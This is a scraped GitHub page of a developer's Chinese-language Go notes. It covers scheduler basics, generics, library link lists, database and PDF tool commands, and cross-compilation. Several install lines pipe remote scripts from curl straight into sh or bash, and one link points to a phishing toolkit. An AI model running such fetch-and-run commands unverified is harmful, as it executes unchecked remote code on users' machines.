-
Notifications
You must be signed in to change notification settings - Fork 54
/
go.txt
3518 lines (3064 loc) · 115 KB
/
go.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
GMP调度器
https://mp.weixin.qq.com/s/m_bqmJ8KF9v8-BW8lymlEQ
G (Goroutine) 是受管理的轻量级线程,协程,执行单元
P (Processor) 逻辑处理器 P队列:本地队列(等待运行的 G,不超过 256 个)和全局队列(存放等待运行的G)
M (Machine) 操作系统线程 G在M上执行 线程想运行任务就得获取 P,从 P 的本地队列获取 G,P 队列为空时,M 也会尝试从全局队列拿一批 G 放到 P 的本地队列,或从其他 P 的本地队列偷一半放到自己 P 的本地队列。M 运行 G,G 执行之后,M 会从 P 获取下一个 G,不断重复下去
P的数量 runtime.GOMAXPROCS(0)
M的数量 默认 10000
学习
https://github.com/luk4z7/go-concurrency-guide
mkdir workspace && cd workspace
go work init ./hello_work
go work use ./gomodtestc
go 1.18
use (
./gomodtestc
./hello_work
)
gvm
bash < <(curl -s -S -L https://raw.githubusercontent.com/moovweb/gvm/master/binscripts/gvm-installer)
gvm install go1.17
gvm use go1.17 [--default]
gvm list
gvm listall
goup
curl -sSf https://raw.githubusercontent.com/owenthereal/goup/master/install.sh | sh
goup install 1.17.5
goup install 1.18beta1
goup uninstall
go version
goup show
goup default
命令 作用
go mod init 生成 go.mod 文件
go mod download 下载 go.mod 文件中指明的所有依赖
go mod tidy 整理现有的依赖
go mod graph 查看现有的依赖结构
go mod edit 编辑 go.mod 文件
go mod vendor 导出项目所有的依赖到vendor目录
go mod verify 校验一个模块是否被篡改过
go mod why 查看为什么需要依赖某模块
主版本号:当你做了不兼容的 API 修改。
次版本号:当你做了向下兼容的功能性新增。
修订号:当你做了向下兼容的问题修正。
范型
https://mp.weixin.qq.com/s/FFxNpRVgs-v9cIKWCLeN4Q
https://mp.weixin.qq.com/s/_pJXLJ6W9BFZyWBud7agPQ
type Addable interface {
int | int8 | int16 | int32 | int64 | uint | uint8 | uint16 | uint32 | uint64 | uintptr | float32 | float64 | complex64 | complex128 | string
}
func add[T int|float64](a, b T) T {
return a + b
}
func add[T ~string](x, y T) T {
return x + y
}
// 没有任何约束
func add[T any](x, y T) T
// 约束 Addble (需要单独定义)
func add[T Addble](x, y T) T
// 约束允许 int 或 float64 类型
func add[T int|float64](x, y T) T
// 约束允许底层类型是 string 的类型(包括 string 类型)
func add[T ~string](x, y T) T
func MakeChan[T chan bool | chan int](c T) {
_ = make(T) // 错误
_ = new(T) // 正确
_ = len(c) // 正确
}
// 以下代码无法编译:
// cannot range over c (variable of type T constrained by []string|map[int]string) (T has no structural type)
func ForEach[T []string | map[int]string](c T, f func(int, string)) {
for i, v := range c {
f(i, v)
}
}
brew install go@1.16
brew install go@1.17
brew switch go 1.17
linq
https://github.com/linqgo/linq
https://github.com/solsw/go2linq
https://github.com/ahmetb/go-linq
https://github.com/life4/genesis
https://github.com/rakeeb-hossain/functools
https://github.com/Saza-ku/go-genq
https://github.com/szmcdull/glinq
https://github.com/asynkron/gofun
1.18 算法
https://github.com/senghoo/golang-design-pattern
https://github.com/ua-nick/Data-Structures-and-Algorithms
https://github.com/avelino/awesome-go
https://github.com/samber/lo
https://github.com/samber/mo
https://github.com/samber/do
https://github.com/repeale/fp-go
https://github.com/sean-public/fast-skiplist
https://github.com/kevwan/stream
https://github.com/shoenig/test
https://github.com/gonum/gonum
https://github.com/zeromicro/zero-examples
https://github.com/kevwan/mapreduce #流程控制 并行
https://github.com/xxjwxc/uber_go_guide_cn
https://github.com/Workiva/go-datastructures
https://github.com/daichi-m/go18ds
https://github.com/barweiss/go-tuple
https://github.com/nwillc/genfuncs
https://github.com/repeale/fp-go
https://github.com/rjNemo/underscore
https://github.com/elliotchance/pie
https://github.com/bradenaw/juniper
https://github.com/chen3feng/stl4go
https://github.com/chen3feng/skiplist-survey
https://github.com/MauriceGit/skiplist
https://github.com/s0rg/trie
https://github.com/armon/go-radix
https://github.com/hashicorp/go-immutable-radix
github.com/google/btree
https://github.com/oleiade/lane
https://github.com/micnncim/go-set
https://github.com/bloeys/nset
统计库包
https://github.com/montanaflynn/stats
https://github.com/uber-go/atomic
https://github.com/chzyer/readline
https://github.com/txaty/go-merkletree
转换三角化图片艺术照
https://github.com/esimov/triangle
https://github.com/zh-five/xdaemon
https://github.com/duolatech/xapimanager
web framework
https://github.com/smallnest/go-web-framework-benchmark
https://github.com/gofiber/fiber
https://github.com/gogearbox/gearbox
https://github.com/savsgio/atreugo
https://github.com/gin-gonic/gin
https://github.com/xinliangnote/go-gin-api
https://github.com/astaxie/beego
https://github.com/kataras/iris
https://github.com/labstack/echo
https://github.com/bmizerany/pat
https://github.com/julienschmidt/httprouter
https://github.com/zenazn/goji
https://github.com/revel/revel
https://github.com/valyala/fasthttp
https://github.com/plimble/ace
github.com/labstack/echo/v4
https://github.com/gobuffalo/buffalo
https://github.com/beego/beego
https://github.com/cloudwego/hertz
https://github.com/cloudwego/hertz-benchmark
https://github.com/cloudwego/fastpb
https://github.com/hertz-contrib
https://www.cloudwego.io/zh/docs/hertz/tutorials/example/
API防火墙
https://github.com/wallarm/api-firewall
https://hub.docker.com/r/wallarm/api-firewall
ffmpeg
https://github.com/u2takey/ffmpeg-go
https://github.com/mowshon/moviego
动画库
https://github.com/charmbracelet/harmonica
版本
https://github.com/Masterminds/semver
https://github.com/blang/semver
https://github.com/caddyserver/caddy
https://caddyserver.com/
https://caddyserver.com/docs/
https://github.com/lunny/tango
https://github.com/go-martini/martini
http://www.golangnote.com/topic/87.html
https://github.com/stripe/einhorn
websocket
https://github.com/gorilla/websocket
https://github.com/gobwas/ws
https://github.com/joewalnes/websocketd
https://github.com/pojntfx/weron
net 一个高性能、轻量级、非阻塞的事件驱动
https://github.com/panjf2000/gnet
go get -u github.com/panjf2000/gnet/v2
https://github.com/Allenxuxu/gev
https://github.com/cloudwego/netpoll
tcp
https://github.com/aceld/zinx
openapi
https://github.com/google/gnostic
rpc
https://github.com/rookie-ninja/rk-gin
https://github.com/rookie-ninja/rk-grpc
https://github.com/bufbuild/connect-go #gRPC
https://github.com/smallnest/rpcx
https://doc.rpcx.io/
https://github.com/smallnest/rpcxdump
https://github.com/lesismal/arpc
开源网络钓鱼工具包
https://github.com/gophish/gophish
优雅的 Golang 爬虫框架
https://github.com/gocolly/colly
REST Postman
https://www.postman.com/downloads/?utm_source=postman-home
GRPC Bloomrpc
brew install --cask bloomrpc
https://github.com/bloomrpc/bloomrpc
GraphQL Insomnia
https://insomnia.rest/download
https://github.com/Kong/insomnia
https://github.com/dgraph-io/dgraph
https://docs.github.com/en/graphql
https://docs.github.com/en/graphql/overview/explorer
graphdb
https://github.com/cayleygraph/cayley
https://github.com/eko/gocache
开源的本地缓存库中 bigcache、go-cache、freecache都实现了分片功能,bigcache的hash选择的是fnv64a算法、go-cache的hash选择的是djb2算法、freechache选择的是xxhash算法。这三种算法都是非加密哈希算法
https://github.com/allegro/bigcache
https://github.com/patrickmn/go-cache
https://github.com/coocood/freecache
https://github.com/golang/groupcache
https://github.com/Code-Hex/go-generics-cache
https://github.com/bluele/gcache
freecache、bigcache 比较适合 Feature 服务
bigcache 相对于 freecache 的优势之一是您不需要提前知道缓存的大小,因为当 bigcache 已满时,它可以为新条目分配额外的内存,而不是像 freecache 当前那样覆盖现有的
map
https://github.com/orcaman/concurrent-map
https://github.com/alphadose/haxmap
https://github.com/cornelk/hashmap
https://github.com/smallnest/safemap
https://github.com/puzpuzpuz/xsync
https://github.com/cornelk/go-benchmark
database kvdb cache
https://github.com/etcd-io/bbolt #key/value database
https://github.com/syndtr/goleveldb
https://github.com/facebook/rocksdb
https://github.com/golang/leveldb
https://github.com/google/leveldb
https://github.com/erthink/libmdbx
https://github.com/torquem-ch/mdbx-go
https://github.com/lindb/lindb
https://github.com/pmwkaa/sophia
https://github.com/wiredtiger/wiredtiger
https://github.com/facebook/rocksdb
https://github.com/couchbase/forestdb
https://github.com/mongodb/mongo-go-driver
https://github.com/FerretDB/FerretDB #开源 MongoDB 替代品
https://github.com/segmentio/kafka-go
https://github.com/codenotary/immudb #只读DB
https://github.com/go-mysql-org/go-mysql
https://github.com/alicebob/miniredis
https://github.com/alash3al/redix
https://github.com/surrealdb/rixxdb
https://github.com/k1LoW/tbls
https://github.com/cockroachdb/cockroach
https://www.cockroachlabs.com/docs/stable/start-a-local-cluster.html
cockroach sql --insecure --host=localhost:26257
CREATE DATABASE bank;
CREATE TABLE bank.accounts (id INT PRIMARY KEY, balance DECIMAL);
INSERT INTO bank.accounts VALUES (1, 1000.50);
SELECT * FROM bank.accounts;
\q
cockroach sql --insecure --host=localhost:26258
go get -u github.com/jackc/pgx
go get -u github.com/lib/pq
https://github.com/cockroachdb/pebble #CockroachDB
https://github.com/flower-corp/rosedb #类似REDIS
https://github.com/flower-corp/lotusdb
Vitess 是一个数据库集群系统,用于通过通用分片对 MySQL 进行水平扩展。
https://github.com/vitessio/vitess
https://vitess.io/zh/
矢量数据库
https://github.com/milvus-io/milvus
git clone https://github.com/milvus-io/milvus.git
cd milvus/ && ./scripts/install_deps.sh && make
./rosedb-server
cli-mac -p 5200
https://github.com/microsoft/go-mssqldb
https://github.com/denisenkom/go-mssqldb
MySQL Binlog 增量实时同步工具
https://github.com/wj596/go-mysql-transfer
https://www.kancloud.cn/wj596/go-mysql-transfer/2116627
mongo同步
https://github.com/alibaba/MongoShake
https://github.com/alibaba/MongoShake/releases
curl -s http://127.0.0.1:9101/progress | python -m json.tool
curl -s http://127.0.0.1:9100/repl | python -m json.tool
./mongoshake-stat --port 8100
bitmap
https://github.com/RoaringBitmap/roaring
https://github.com/bits-and-blooms/bitset
https://github.com/FeatureBaseDB/featurebase
https://github.com/influxdata/influxdb
https://github.com/anacrolix/torrent
版本控制
https://github.com/sturdy-dev/sturdy
Postgres 有线兼容 SQLite 代理
https://github.com/benbjohnson/postlite
postlite -data-dir /data
psql --host HOSTNAME my.db
go install -tags vtable ./cmd/postlite
分布式Sqlite
https://github.com/rqlite/rqlite
brew install rqlite
rqlited -node-id 1 ~/node.1
rqlited -node-id 2 -http-addr localhost:4003 -raft-addr localhost:4004 -join http://localhost:4001 ~/node.2
rqlited -node-id 3 -http-addr localhost:4005 -raft-addr localhost:4006 -join http://localhost:4001 ~/node.3
SQLite 的流式复制
https://github.com/benbjohnson/litestream
https://litestream.io/getting-started/
litestream replicate fruits.db s3://mybkt.localhost:9000/fruits.db
https://github.com/pingcap/tidb
https://docs.pingcap.com/tidb/stable/mysql-compatibility
https://docs.pingcap.com/tidb/stable/quick-start-with-tidb#deploy-a-local-test-environment-using-tiup-playground
curl --proto '=https' --tlsv1.2 -sSf https://tiup-mirrors.pingcap.com/install.sh | sh
source .bash_profile
tiup playground
tiup playground v5.2.2 --db 2 --pd 3 --kv 3 --monitor
tiup list tidb
tiup client
mysql --host 127.0.0.1 --port 4000 -u root
mysql --comments --host 127.0.0.1 --port 4000 -u root -p
http://127.0.0.1:9090/ #Prometheus dashboard of TiDB
http://127.0.0.1:2379/dashboard #TiDB Dashboard root
http://127.0.0.1:3000 #Grafana dashboard admin/admin
tiup clean --all
https://docs.pingcap.com/tidb/stable/quick-start-with-tidb#Linux
curl --proto '=https' --tlsv1.2 -sSf https://tiup-mirrors.pingcap.com/install.sh | sh
tiup cluster
tiup update --self && tiup update cluster
vi /etc/ssh/sshd_config
MaxSessions = 20
service sshd restart
vi topo.yaml
# # Global variables are applied to all deployments and used as the default value of
# # the deployments if a specific deployment value is missing.
global:
user: "tidb"
ssh_port: 22
deploy_dir: "/tidb-deploy"
data_dir: "/tidb-data"
# # Monitored variables are applied to all the machines.
monitored:
node_exporter_port: 9100
blackbox_exporter_port: 9115
server_configs:
tidb:
log.slow-threshold: 300
tikv:
readpool.storage.use-unified-pool: false
readpool.coprocessor.use-unified-pool: true
pd:
replication.enable-placement-rules: true
replication.location-labels: ["host"]
tiflash:
logger.level: "info"
pd_servers:
- host: 10.0.1.1
tidb_servers:
- host: 10.0.1.1
tikv_servers:
- host: 10.0.1.1
port: 20160
status_port: 20180
config:
server.labels: { host: "logic-host-1" }
- host: 10.0.1.1
port: 20161
status_port: 20181
config:
server.labels: { host: "logic-host-2" }
- host: 10.0.1.1
port: 20162
status_port: 20182
config:
server.labels: { host: "logic-host-3" }
tiflash_servers:
- host: 10.0.1.1
monitoring_servers:
- host: 10.0.1.1
grafana_servers:
- host: 10.0.1.1
tiup cluster deploy tidb v5.2.2 ./topo.yaml --user root -p
tiup cluster start tidb
tiup cluster list
tiup cluster display tidb
tiup --binary cluster
mysql -h 10.0.1.1 -P 4000 -u root
docker run -p 127.0.0.1:$LOCAL_PORT:4000 pingcap/tidb:v5.1.0
CREATE USER <username> IDENTIFIED BY <password>;
CREATE USER 'tiuser'@'localhost' IDENTIFIED BY '123456';
GRANT ALL ON gorm.* TO <username>;
GRANT SELECT ON samp_db.* TO 'tiuser'@'localhost';
SHOW GRANTS for tiuser@localhost;
DROP USER 'tiuser'@'localhost';
CREATE DATABASE tidb;
CREATE USER 'tiuser' IDENTIFIED BY '123456';
GRANT ALL ON tidb.* TO tiuser;
dsn := "tiuser:123456@tcp(localhost:4000)/tidb?charset=utf8&parseTime=True&loc=Local"
序列化 生成代码
https://github.com/alecthomas/go_serialization_benchmarks
https://github.com/smallnest/gosercomp
https://github.com/200sc/bebop
https://github.com/valyala/musgo
https://github.com/pascaldekloe/colfer
https://github.com/calmh/xdr
https://github.com/gogo/protobuf
https://github.com/andyleap/gencode
https://github.com/mojura/enkodo #写流
https://github.com/shamaton/msgpackgen
https://github.com/tinylib/msgp
https://github.com/ugorji/go
https://github.com/google/flatbuffers #写流
https://github.com/golang/protobuf
https://github.com/surrealdb/cork
grpc Gateway
https://github.com/protocolbuffers/protobuf
https://github.com/protocolbuffers/protobuf-go
https://github.com/grpc-ecosystem/grpc-gateway
https://github.com/golang/protobuf
https://github.com/grpc/grpc-go
https://github.com/rmedvedev/grpcdump
https://github.com/TykTechnologies/tyk
go install github.com/pseudomuto/protoc-gen-doc/cmd/protoc-gen-doc@latest
// 使用的 protoc --version 为 libprotoc 3.18.1
// 使用的 protoc-gen-go --version 为 protoc-gen-go v1.27.1
// 使用的 protoc-gen-go-grpc --version 为 protoc-gen-go-grpc 1.1.0
// 使用的 protoc-gen-doc --version 为 protoc-gen-doc version 1.5.0
// 在根目录下执行 protoc 命令
protoc \
--go_out=helloworld/gen \
--go-grpc_out=helloworld/gen \
--doc_out=helloworld/doc \
--doc_opt=html,index.html \
helloworld/helloworld.proto
https://mp.weixin.qq.com/s/V9CjkANNS1ItZXj7FUKqYg
protoc -I . --go_out=xxx
protoc -I . --go-grpc_out=xxx
protoc --go_out=. xxx.proto
protoc --decode-raw req.pb
protoc --decode=com.xxx.TestRequest xxx.proto < req.pb
service 服务
github.com/kardianos/service
https://github.com/bigwhite/experiments/blob/master/system-service/main.go
microservices 微服务
https://mp.weixin.qq.com/s/4T9wHkXvl0p-GrfC2ksNrA
https://mp.weixin.qq.com/s/TJO1u8p5p81VnNfWe0wQkA
https://github.com/cloudwego/kitex
https://github.com/go-kit/kit
https://github.com/asim/go-micro
https://github.com/go-kratos/kratos
https://github.com/google/go-cloud
https://github.com/zeromicro/go-zero
go-zero MapReduce文档: https://go-zero.dev/cn/mapreduce.html
https://github.com/nytimes/gizmo
https://github.com/rsms/gotalk 异步对等通信协议和库
https://github.com/koding/kite
https://github.com/gocircuit/circuit
github.com/smallnest/rpcx
https://github.com/rpcxio/rpcx-examples
https://github.com/rpcxio/rpcx-gateway
https://github.com/rpcxio/rpcx-etcd
https://github.com/apache/dubbo-go
https://github.com/gotomicro/ego
https://github.com/gotomicro/egoctl
https://github.com/gotomicro/ego-component
https://github.com/apache/dubbo-go
https://github.com/rpcxio/rpcx-benchmark
https://github.com/rpcx-ecosystem/rpcx-benchmark
https://github.com/micro-svc/go-rpc-framework-benchmark
https://github.com/cloudwego/kitex-benchmark
并行计算
https://github.com/BWbwchen/MapReduce
https://github.com/coocood/freecache
https://github.com/outbrain/orchestrator
https://github.com/antonholmquist/jason
https://github.com/olahol/melody
https://github.com/smartystreets/goconvey
https://github.com/name5566/leaf
https://github.com/tsuru/tsuru
https://github.com/leanote/leanote
http://git.oschina.net/openmeeting2/openmeeting2
https://github.com/google/gxui
用于机器人、无人机和物联网 (IoT) 的 Golang 框架
https://github.com/hybridgroup/gobot
机器控制 RobotGo,Go Native 跨平台 GUI 自动化
https://github.com/go-vgo/robotgo
webhook
https://github.com/adnanh/webhook
es elastic elasticsearch
https://github.com/elastic/go-elasticsearch
https://github.com/olivere/elastic
https://github.com/go-mysql-org/go-mysql-elasticsearch
https://github.com/zinclabs/zinc #替代ES
https://github.com/blevesearch/bleve
https://github.com/vinted/elasticsearch-dsl-rs
代码高亮
https://github.com/alecthomas/chroma
jquery json
https://github.com/itchyny/gojq
https://github.com/PuerkitoBio/goquery
https://github.com/wader/fq
https://github.com/antonmedv/fx
https://github.com/noahgorstein/jqp
go install github.com/antonmedv/fx@latest
fx data.json
fx data.json '.filter(x => x.startsWith("a"))'
fx data.json '[x["age"] + i for i in range(10)]'
fx data.json 'x.to_a.map {|x| x[1]}'
export FX_THEME=9
https://github.com/simeji/jid
go install github.com/simeji/jid/cmd/jid@latest
Protocol Buffers
https://github.com/bufbuild/buf
https://github.com/astaxie/beedb
https://github.com/go-chassis/go-chassis
https://github.com/TruthHun/DocHub
https://github.com/rodrigo-brito/gocity
移动端推送
https://github.com/uniqush/uniqush-push
容器安全扫描
https://github.com/knqyf263/trivy
代码漏洞扫描
go install golang.org/x/vuln/cmd/govulncheck@latest
govulncheck ./...
https://github.com/zricethezav/gitleaks
proxy
https://github.com/snail007/goproxy
https://github.com/elazarl/goproxy
https://github.com/goproxyio/goproxy
https://github.com/Shopify/toxiproxy
toxiproxy-cli create -l localhost:26379 -u localhost:6379 redis
toxiproxy-cli list
toxiproxy-cli toxic add -t latency -a latency=1000 redis
toxiproxy-cli toxic remove -n latency_downstream redis
toxiproxy-cli delete redis
LDAP
https://github.com/go-ldap/ldap
https://github.com/shirou/gopsutil
https://github.com/go-ping/ping
https://github.com/XiaoMi/Gaea
https://github.com/douyu/jupiter
PDF WORD EXCEL
https://github.com/lnenad/newser
https://github.com/qax-os/excelize
https://github.com/tealeg/xlsx
https://github.com/szyhf/go-excel
https://github.com/fterrag/goxlsxwriter
https://github.com/go-the-way/exl
https://github.com/plandem/xlsx
https://github.com/go-pdf/fpdf
https://github.com/johnfercher/maroto #PDF
https://github.com/jung-kurt/gofpdf #PDF
https://github.com/signintech/gopdf
https://github.com/pdfcpu/pdfcpu
https://github.com/gotenberg/gotenberg
https://github.com/SebastiaanKlippert/go-wkhtmltopdf
wkhtmltopdf input.html output.pdf
wkhtmltopdf https://www.google.com output.pdf
https://segmentfault.com/a/1190000021459671
添加水印
unipdf watermark in.pdf watermark.png -o out.pdf
pdfcpu watermark add -mode image 'voucher_watermark.png' 's:1 abs, rot:0' in.pdf out.pdf
合并pdf
cpdf -merge input1.pdf input2.pdf -o output.pdf
unipdf merge output.pdf input1.pdf input2.pdf
pdfcpu merge output.pdf input1.pdf input2.pdf
拆分pdf
cpdf -split in.pdf 1 even -chunk 1 -o ./out%%%.pdf
unipdf split input.pdf out.pdf 1-1
pdfcpu split in.pdf .
pdf转图片
pdfdraw -o out%d.png in.pdf
mupdf
pdfdraw
pdfinfo
pdfclean
pdfextract
pdfshow
xpsdraw
xpdf 是一个免费的PDF工具包,包括文字解析,图片转换,html转换等
pdfdetach
pdffonts
pdfimages
pdfinfo
pdftohtml
pdftopng
pdftoppm
pdftops
pdftotext
pdftopng in.pdf out-prefix
pdf解密
qpdf --decrypt in.pdf out.pdf
pdfcpu decrypt encrypted.pdf output.pdf
unipdf decrypt -p pass -o output.pdf input.pdf
PDF识别
pdftotext input.pdf output.txt
unipdf extract text input.pdf
tet --pageopt "includebox={{38 707.93 243.91 716.93}}" input.pdf
tet --tetml input.pdf
pdfclean broken.pdf repaired.pdf
pdffonts input.pdf
https://github.com/wkhtmltopdf/wkhtmltopdf
xpdfreader.com/opensource.html
https://community.coherentpdf.com/
https://github.com/coherentgraphics
https://github.com/qpdf/qpdf
https://github.com/galkahana/PDF-Writer
https://www.mupdf.com/releases/index.html
https://github.com/pdfcpu/pdfcpu
http://www.xpdfreader.com/download.html
brew install pdftoipe
yum install pdftotext poppler-utils
将 PDF、DOC、DOCX、XML、HTML、RTF 等转换为纯文本
https://github.com/sajari/docconv
go install code.sajari.com/docconv/...@latest
brew install tesseract
docd -input document.pdf
https://github.com/JalfResi/justext
https://github.com/otiai10/gosseract
https://github.com/otiai10/ocrserver
https://github.com/tealeg/xlsx
https://github.com/qax-os/excelize
latex
https://github.com/go-latex/latex
SVG
https://github.com/ajstarks/svgo
命令行解析
https://github.com/alecthomas/kingpin
日期操作
https://github.com/golang-module/carbon
https://github.com/mvdan/sh
go install mvdan.cc/sh/v3/cmd/shfmt@latest
go install mvdan.cc/sh/v3/cmd/gosh@latest
生成GO文件过大问题2.3M变900K
go build -ldflags -w go-safe-hosts.go
upx压缩
https://github.com/upx/upx/releases
brew install upx
upx -9 -k go-safe-hosts
fast JavaScript and CSS bundler and minifier
https://github.com/evanw/esbuild
go mod init etms
GO代码检测
curl -sfL https://raw.githubusercontent.com/securego/gosec/master/install.sh | sh -s -- -b $(go env GOPATH)/bin latest
https://github.com/securego/gosec
gosec -help
time gosec ./...
gosec -include=G101,G203,G401 ./...
gosec -exclude=G303 ./...
go 打包到不同平台windows linux运行程序
1、Mac下编译Linux, Windows平台的64位可执行程序:
$ CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build test.go
$ CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build test.go
2、Linux下编译Mac, Windows平台的64位可执行程序:
$ CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build test.go
$ CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build test.go
3、Windows下编译Mac, Linux平台的64位可执行程序:
$ SET CGO_ENABLED=0SET GOOS=darwin3 SET GOARCH=amd64 go build test.go
$ SET CGO_ENABLED=0 SET GOOS=linux SET GOARCH=amd64 go build test.go
注:如果编译web等工程项目,直接cd到工程目录下直接执行以上命令
GOOS:目标可执行程序运行操作系统,支持 darwin freebsd linux windows android netbsd openbsd plan9
GOARCH:目标可执行程序操作系统构架,包括 386 amd amd64 arm arm64
mac go build linux/windows
brew install FiloSottile/musl-cross/musl-cross
brew install FiloSottile/musl-cross/musl-cross --without-x86_64 --with-arm-hf
brew reinstall musl-cross
ln -s /usr/local/opt/musl-cross/bin/x86_64-linux-musl-gcc /usr/local/bin/musl-gcc
CGO_ENABLED=1 GOOS=linux GOARCH=amd64 CC=x86_64-linux-musl-gcc CXX=x86_64-linux-musl-g++ go build -o BIN_NAME
运行时报错误
/lib/ld-musl-x86_64.so.1: bad ELF interpreter: No such file or directory
wget https://copr.fedorainfracloud.org/coprs/ngompa/musl-libc/repo/epel-7/ngompa-musl-libc-epel-7.repo -O /etc/yum.repos.d/ngompa-musl-libc-epel-7.repo
yum install -y musl-libc-static
brew install mingw-w64
CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ GOOS=windows GOARCH=amd64 go build -x -v -ldflags "-s -w" -o test_x64.exe
静态库
$ CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ GOOS=windows GOARCH=amd64 go build -buildmode=c-archive -x -v -ldflags "-s -w" -o bin/x64/x64.a main.go
动态库
将-buildmode=c-archive改为-buildmode=c-shared即可
编译x86
可执行文件
$ CGO_ENABLED=1 CC=i686-w64-mingw32-gcc CXX=i686-w64-mingw32-g++ GOOS=windows GOARCH=386 go build -x -v -ldflags "-s -w" -o test_x86.exe
静态库
$ CGO_ENABLED=1 CC=i686-w64-mingw32-gcc CXX=i686-w64-mingw32-g++ GOOS=windows GOARCH=386 go build -buildmode=c-archive -x -v -ldflags "-s -w" -o bin/x86/x86.a main.go
动态库
将-buildmode=c-archive改为-buildmode=c-shared即可
k8s
https://github.com/goodrain/rainbond
https://www.rainbond.com/docs/quick-start/quick-install/#%E5%9F%BA%E4%BA%8E-web-%E7%95%8C%E9%9D%A2%E5%AE%89%E8%A3%85
https://github.com/k3s-io/k3s
https://github.com/kubernetes/kubernetes
https://github.com/kubernetes/ingress-nginx
https://github.com/gardener/gardener
https://github.com/kubernetes/minikube #本地运行k8s
https://github.com/pixie-io/pixie #即时 Kubernetes 原生应用可观察性
https://github.com/siderolabs/talos
https://github.com/telepresenceio/telepresence
telepresence connect
curl hello.default
拦截服务。即将流量重定向到我们的笔记本电脑(入站流量)
在端口 9000 上为 hello 部署添加一个拦截。在这里,我们还启动了一个侦听该端口的服务:
telepresence intercept hello --port 9000 -- python3 -m http.server 9000
curl hello
telepresence quit
telepresence uninstall --everything
kubernetes 开发环境集成的工具包
https://github.com/alibaba/kt-connect
https://github.com/alibaba/kt-connect/blob/master/docs/en-us/guide/downloads.md
https://github.com/alibaba/kt-connect/blob/master/docs/en-us/guide/quickstart.md
ktctl connect
开源监控解决方案
https://github.com/prometheus/prometheus
docker run --name myprometheus -p 9090:9090 -d prom/prometheus
http://localhost:9090/
docker run --name mynode-exporter -p 9100:9100 -d prom/node-exporter
http://localhost:9100/metrics
每一个监控指标之前都会有一段类似于如下形式的信息:
# HELP node_cpu_guest_seconds_total Seconds the CPUs spent in guests (VMs) for each mode.
# TYPE node_cpu_guest_seconds_total counter
HELP:解释当前指标的含义
TYPE:说明当前指标的数据类型
一些在node exporter中的指标:
go_* :node exporter中go相关指标
node_boot_time:系统启动时间
node_cpu_* : 系统CUP使用情况
node_disk_* : 磁盘io
node_filesystem_* : 文件系统使用量
